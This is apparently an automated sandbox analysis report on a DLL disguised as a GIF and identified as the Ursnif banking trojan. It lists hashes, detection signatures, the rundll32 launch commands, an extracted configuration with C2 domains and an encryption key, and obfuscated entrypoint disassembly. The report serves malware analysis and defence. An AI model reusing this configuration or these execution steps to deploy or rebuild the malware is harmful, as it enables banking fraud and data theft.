Play interactive tour

Edit tour

Analysis Report 0204.gif.dll

Overview

General Information

Sample Name:	0204.gif.dll
Analysis ID:	382565
MD5:	ad4076a9b4f10e046059151b9e1c030a
SHA1:	edfacd4d94a56d5011445cd103c6b45ae9585adf
SHA256:	01006cd1258047b9e2bd9f58b303bd22c39b7f3242db9e4111f88b9f78b9df8f
Tags:	dllGGGoziIFSBUrsnif
Infos:
Most interesting Screenshot:

Detection

Ursnif

Score:	68
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected Ursnif

Machine Learning detection for sample

Contains functionality to read the PEB

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

PE file contains sections with non-standard names

Program does not show much activity (idle)

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Startup

System is w10x64

loaddll32.exe (PID: 5784 cmdline: loaddll32.exe 'C:\Users\user\Desktop\0204.gif.dll' MD5: 542795ADF7CC08EFCF675D65310596E8)

cmd.exe (PID: 5444 cmdline: cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\0204.gif.dll',#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 5988 cmdline: rundll32.exe 'C:\Users\user\Desktop\0204.gif.dll',#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 1488 cmdline: rundll32.exe C:\Users\user\Desktop\0204.gif.dll,DllServer MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

cleanup

Malware Configuration

Threatname: Ursnif

[[{"RSA Public Key": "bUd4GFcFHo0e+ZYUbkHaTKXmZ1xEyxvy7Ha6j1WAZbQ7YvMdkqTfD1vHD2y2CmFTRrLK1w5iQroYI0mUpJ4xNknlY+BmJf4xpeJRxxK0RRNeRbW5unSB2vXqxvlTgz6vNZY+9zeztuP2jXKpIm0/s+YxWnsT7eWUtQtD38NlsAPtJdp+3rBxjzAWNKQj7wMA"}, {"c2_domain": ["bing.com", "update4.microsoft.com", "under17.com", "urs-world.com"], "botnet": "5566", "server": "12", "serpent_key": "10301029JSJUYDWG", "sleep_time": "10", "SetWaitableTimer_value": "0", "DGA_count": "10"}]]

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000002.00000002.478343870.0000000001070000.00000004.00000001.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000004.00000002.240574899.00000000033F0000.00000004.00000001.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000005.00000002.231111418.0000000003550000.00000004.00000001.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security

Unpacked PEs

Source	Rule	Description	Author
4.2.rundll32.exe.33f0000.2.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
2.2.loaddll32.exe.1070000.1.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
5.2.rundll32.exe.3550000.2.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 5.2.rundll32.exe.3550000.2.raw.unpack

Malware Configuration Extractor: Ursnif [[{"RSA Public Key": "bUd4GFcFHo0e+ZYUbkHaTKXmZ1xEyxvy7Ha6j1WAZbQ7YvMdkqTfD1vHD2y2CmFTRrLK1w5iQroYI0mUpJ4xNknlY+BmJf4xpeJRxxK0RRNeRbW5unSB2vXqxvlTgz6vNZY+9zeztuP2jXKpIm0/s+YxWnsT7eWUtQtD38NlsAPtJdp+3rBxjzAWNKQj7wMA"}, {"c2_domain": ["bing.com", "update4.microsoft.com", "under17.com", "urs-world.com"], "botnet": "5566", "server": "12", "serpent_key": "10301029JSJUYDWG", "sleep_time": "10", "SetWaitableTimer_value": "0", "DGA_count": "10"}]]

Multi AV Scanner detection for submitted file

Show sources

Source: 0204.gif.dll

ReversingLabs: Detection: 41%

Machine Learning detection for sample

Show sources

Source: 0204.gif.dll

Joe Sandbox ML: detected

Source: 0204.gif.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000002.00000002.478343870.0000000001070000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.240574899.00000000033F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.231111418.0000000003550000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 4.2.rundll32.exe.33f0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.loaddll32.exe.1070000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.3550000.2.raw.unpack, type: UNPACKEDPE

Source: loaddll32.exe, 00000002.00000002.478394762.000000000119B000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000002.00000002.478343870.0000000001070000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.240574899.00000000033F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.231111418.0000000003550000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 4.2.rundll32.exe.33f0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.loaddll32.exe.1070000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.3550000.2.raw.unpack, type: UNPACKEDPE

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_031E5F16	5_2_031E5F16
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_031E1B1E	5_2_031E1B1E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_031E3A14	5_2_031E3A14
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_031E150C	5_2_031E150C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_031E5A25	5_2_031E5A25
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_031E5378	5_2_031E5378
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_031E2A69	5_2_031E2A69
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_031E2566	5_2_031E2566
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_031E1967	5_2_031E1967
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_031E5262	5_2_031E5262
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_031E88BA	5_2_031E88BA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_031E92B2	5_2_031E92B2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_031E31B3	5_2_031E31B3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_031E2FAF	5_2_031E2FAF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_031E3FAB	5_2_031E3FAB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_031E43D8	5_2_031E43D8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_031E27D4	5_2_031E27D4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_031E1CD0	5_2_031E1CD0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_031E13C5	5_2_031E13C5

Source: 0204.gif.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: classification engine

Classification label: mal68.troj.winDLL@7/0@0/0

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\0204.gif.dll,DllServer

Source: 0204.gif.dll

ReversingLabs: Detection: 41%

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe 'C:\Users\user\Desktop\0204.gif.dll'
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\0204.gif.dll',#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\0204.gif.dll,DllServer
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\0204.gif.dll',#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\0204.gif.dll',#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\0204.gif.dll,DllServer	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\0204.gif.dll',#1	Jump to behavior

Source: 0204.gif.dll

Static PE information: section name: .code

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_031E5F16 push dword ptr [ebp-0Ch]; mov dword ptr [esp], edx	5_2_031E5F7B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_031E5F16 push dword ptr [ebp-0Ch]; mov dword ptr [esp], eax	5_2_031E5F94
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_031E5F16 push dword ptr [ebp-08h]; mov dword ptr [esp], eax	5_2_031E5FDD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_031E5F16 push dword ptr [ebp-10h]; mov dword ptr [esp], eax	5_2_031E604B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_031E5F16 push dword ptr [ebp-08h]; mov dword ptr [esp], eax	5_2_031E6124
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_031E5F16 push 00000000h; mov dword ptr [esp], edi	5_2_031E614F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_031E5F16 push 00000000h; mov dword ptr [esp], edx	5_2_031E625E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_031E5F16 push dword ptr [ebp-10h]; mov dword ptr [esp], eax	5_2_031E62B5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_031E5F16 push dword ptr [ebp-10h]; mov dword ptr [esp], eax	5_2_031E6343
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_031E5F16 push dword ptr [ebp-10h]; mov dword ptr [esp], eax	5_2_031E635D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_031E5F16 push 00000000h; mov dword ptr [esp], ebp	5_2_031E6368
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_031E5F16 push dword ptr [ebp-0Ch]; mov dword ptr [esp], eax	5_2_031E6385
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_031E5F16 push 00000000h; mov dword ptr [esp], edx	5_2_031E63B4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_031E5F16 push dword ptr [ebp-08h]; mov dword ptr [esp], eax	5_2_031E6483
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_031E5F16 push dword ptr [ebp-08h]; mov dword ptr [esp], eax	5_2_031E64F2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_031E5F16 push dword ptr [ebp-10h]; mov dword ptr [esp], eax	5_2_031E64FE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_031E5F16 push dword ptr [ebp-08h]; mov dword ptr [esp], eax	5_2_031E650A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_031E5F16 push 00000000h; mov dword ptr [esp], edi	5_2_031E6567
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_031E5F16 push 00000000h; mov dword ptr [esp], edi	5_2_031E65A9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_031E5F16 push 00000000h; mov dword ptr [esp], eax	5_2_031E6610
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_031E5F16 push dword ptr [ebp-0Ch]; mov dword ptr [esp], eax	5_2_031E6685
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_031E5F16 push dword ptr [ebp-08h]; mov dword ptr [esp], ecx	5_2_031E66C2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_031E5F16 push dword ptr [ebp-0Ch]; mov dword ptr [esp], eax	5_2_031E66E8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_031E5F16 push 00000000h; mov dword ptr [esp], edi	5_2_031E6781
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_031E5F16 push 00000000h; mov dword ptr [esp], edx	5_2_031E67B6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_031E5F16 push dword ptr [ebp-0Ch]; mov dword ptr [esp], eax	5_2_031E684C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_031E5F16 push dword ptr [ebp-0Ch]; mov dword ptr [esp], eax	5_2_031E6858
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_031E5F16 push dword ptr [ebp-10h]; mov dword ptr [esp], edx	5_2_031E6926
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_031E5F16 push dword ptr [ebp-08h]; mov dword ptr [esp], eax	5_2_031E6945
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_031E5F16 push dword ptr [ebp-0Ch]; mov dword ptr [esp], eax	5_2_031E6951
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_031E5F16 push dword ptr [ebp-0Ch]; mov dword ptr [esp], edx	5_2_031E69D6

Hooking and other Techniques for Hiding and Protection:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000002.00000002.478343870.0000000001070000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.240574899.00000000033F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.231111418.0000000003550000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 4.2.rundll32.exe.33f0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.loaddll32.exe.1070000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.3550000.2.raw.unpack, type: UNPACKEDPE

Source: C:\Windows\System32\loaddll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Windows\System32\loaddll32.exe

Thread delayed: delay time: 120000

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 5_2_031E2A69 xor edi, dword ptr fs:[00000030h]

5_2_031E2A69

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\0204.gif.dll',#1

Jump to behavior

Stealing of Sensitive Information:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000002.00000002.478343870.0000000001070000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.240574899.00000000033F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.231111418.0000000003550000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 4.2.rundll32.exe.33f0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.loaddll32.exe.1070000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.3550000.2.raw.unpack, type: UNPACKEDPE

Remote Access Functionality:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000002.00000002.478343870.0000000001070000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.240574899.00000000033F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.231111418.0000000003550000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 4.2.rundll32.exe.33f0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.loaddll32.exe.1070000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.3550000.2.raw.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	Process Injection11	Rundll321	Input Capture1	Virtualization/Sandbox Evasion1	Remote Services	Input Capture1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Virtualization/Sandbox Evasion1	LSASS Memory	System Information Discovery1	Remote Desktop Protocol	Archive Collected Data1	Exfiltration Over Bluetooth	Junk Data	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Process Injection11	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Obfuscated Files or Information1	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
0204.gif.dll	42%	ReversingLabs	Win32.Trojan.Wacatac
0204.gif.dll	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

No Antivirus matches

Domains and IPs

Contacted Domains

No contacted domains info

Contacted IPs

No contacted IP infos

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	382565
Start date:	06.04.2021
Start time:	10:06:11
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	0204.gif.dll
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	35
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal68.troj.winDLL@7/0@0/0
EGA Information:	Failed
HDC Information:	Successful, ratio: 98.4% (good quality ratio 85.8%) Quality average: 64.1% Quality standard deviation: 33.3%
HCA Information:	Successful, ratio: 100% Number of executed functions: 2 Number of non-executed functions: 18
Cookbook Comments:	Adjust boot time Enable AMSI Sleeps bigger than 120000ms are automatically reduced to 1000ms Found application associated with file extension: .dll
Warnings:	Show All Exclude process from analysis (whitelisted): taskhostw.exe, MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe, UsoClient.exe, wuapihost.exe

Simulations

Behavior and APIs

Time	Type	Description
10:10:16	API Interceptor	1x Sleep call for process: rundll32.exe modified

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

No created / dropped files found

Static File Info

General
File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.424925601663985
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	0204.gif.dll
File size:	140621
MD5:	ad4076a9b4f10e046059151b9e1c030a
SHA1:	edfacd4d94a56d5011445cd103c6b45ae9585adf
SHA256:	01006cd1258047b9e2bd9f58b303bd22c39b7f3242db9e4111f88b9f78b9df8f
SHA512:	39274d933091ff3d832a712a846e7f25c76a45c13d568439b50f628024ad7d762826e22208c4beff3d74aef9f2ceb8bebaaf7b4e3f9dd4792826a20f5c8c9112
SSDEEP:	1536:tm15JsYYm3GCVS7ZicTJzRVd620ZmB9RMli0msUdqZEACW4jySTLW:eLsacThRVd6pmBPM07vYZEA4/W
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......._W...6e..6e..6e..)v..6e...w..6e.Rich.6e.................PE..L.....f`...........!................ko.............................

File Icon


Icon Hash:	74f0e4ecccdce0e4

Static PE Info

General
Entrypoint:	0x10006f6b
Entrypoint Section:	.code
Digitally signed:	false
Imagebase:	0x10000000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
DLL Characteristics:
Time Stamp:	0x6066E9D0 [Fri Apr 2 09:54:24 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	3f728412058b62c418b1091768b74d7b

Entrypoint Preview

Instruction
push ebx
push esi
and dword ptr [esp], 00000000h
or dword ptr [esp], ebp
mov ebp, esp
add esp, FFFFFFF8h
push esp
mov dword ptr [esp], FFFF0000h
call 00007FB6ACBF6911h
push eax
add dword ptr [esp], 00000247h
sub dword ptr [esp], eax
push esi
mov dword ptr [esp], 00001567h
call 00007FB6ACBF5887h
push eax
or dword ptr [esp], eax
pop eax
jne 00007FB6ACBFAB8Bh
pushad
push 00000000h
mov dword ptr [esp], esi
xor esi, esi
xor esi, dword ptr [ebx+0041C627h]
mov eax, esi
pop esi
push ebx
add dword ptr [esp], 40h
sub dword ptr [esp], ebx
push ebp
add dword ptr [esp], 00001000h
sub dword ptr [esp], ebp
mov dword ptr [ebp-04h], 00000000h
push dword ptr [ebp-04h]
xor dword ptr [esp], eax
push 00000000h
call dword ptr [ebx+0041F05Ch]
mov dword ptr [ebp-04h], ecx
xor ecx, dword ptr [ebp-04h]
or ecx, eax
and edi, 00000000h
xor edi, ecx
mov ecx, dword ptr [ebp-04h]
push edi
pop dword ptr [ebp-04h]
push dword ptr [ebp-04h]
pop dword ptr [ebx+0041CAEDh]
cmp ebx, 00000000h
jbe 00007FB6ACBFAB7Ch
push 00000000h
add dword ptr [esp], edx
push dword ptr [ebx+0041C166h]
pop edx
add edx, ebx
mov dword ptr [ebx+0041C166h], edx
pop edx
push 00000000h
add dword ptr [esp], edx
push dword ptr [ebx+0041CECAh]
pop edx
add edx, ebx
mov dword ptr [ebx+0041CECAh], edx
pop edx
push ebp
and ebp, 00000000h
or ebp, dword ptr [ebx+0041C166h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x1a000	0x64	.data
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1f0fc	0x118	.data
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1f000	0xfc	.data
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.code	0x1000	0x185f2	0x18600	False	0.670042067308	data	6.53345039933	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x1a000	0x64	0x200	False	0.16796875	data	1.0662581269	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x1b000	0x1000	0x200	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rdata	0x1c000	0x20b3	0x2200	False	0.359834558824	data	2.96025706595	IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.data	0x1f000	0x7b2	0x800	False	0.45703125	data	4.70767794561	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
user32.dll	GetActiveWindow, SetWindowsHookExA, GetLayeredWindowAttributes
kernel32.dll	GetProcAddress, LoadLibraryA, VirtualProtect, VirtualAlloc, lstrlenA, lstrcatA, lstrcmpA, GetEnvironmentVariableW
ole32.dll	OleInitialize, OleQueryCreateFromData, IIDFromString, CLIPFORMAT_UserUnmarshal, OleCreateEmbeddingHelper, HDC_UserSize
msimg32.dll	AlphaBlend, TransparentBlt
comdlg32.dll	PageSetupDlgA, PrintDlgA
oledlg.dll	OleUICanConvertOrActivateAs, OleUIChangeSourceW, OleUIConvertA
comctl32.dll	CreateStatusWindow, LBItemFromPt, DPA_Create, FlatSB_ShowScrollBar, ImageList_GetFlags
oleacc.dll	IID_IAccessible, LresultFromObject
version.dll	VerFindFileW, VerInstallFileA, VerQueryValueA, VerQueryValueW
gdiplus.dll	GdipEnumerateMetafileDestPointI, GdipCreateBitmapFromHBITMAP, GdipSetPenUnit, GdipGetImageEncoders, GdipGetPathPointsI
winspool.drv	FindNextPrinterChangeNotification, ConnectToPrinterDlg, SetPrinterDataW, GetPrinterW, DeletePrinterDataExW
shell32.dll	SHGetSpecialFolderPathA
advapi32.dll	GetKernelObjectSecurity, CryptEnumProviderTypesA, RegQueryValueExW, RegisterIdleTask

Exports

Name	Ordinal	Address
DllServer	1	0x1000447b

Network Behavior

No network behavior found

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exe PID: 5784 Parent PID: 5612

General

Start time:	10:10:02
Start date:	06/04/2021
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe 'C:\Users\user\Desktop\0204.gif.dll'
Imagebase:	0x1330000
File size:	116736 bytes
MD5 hash:	542795ADF7CC08EFCF675D65310596E8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000002.00000002.478343870.0000000001070000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	moderate

Chronological Activities

Analysis Process: cmd.exe PID: 5444 Parent PID: 5784

General

Start time:	10:10:02
Start date:	06/04/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\0204.gif.dll',#1
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 1488 Parent PID: 5784

General

Start time:	10:10:02
Start date:	06/04/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
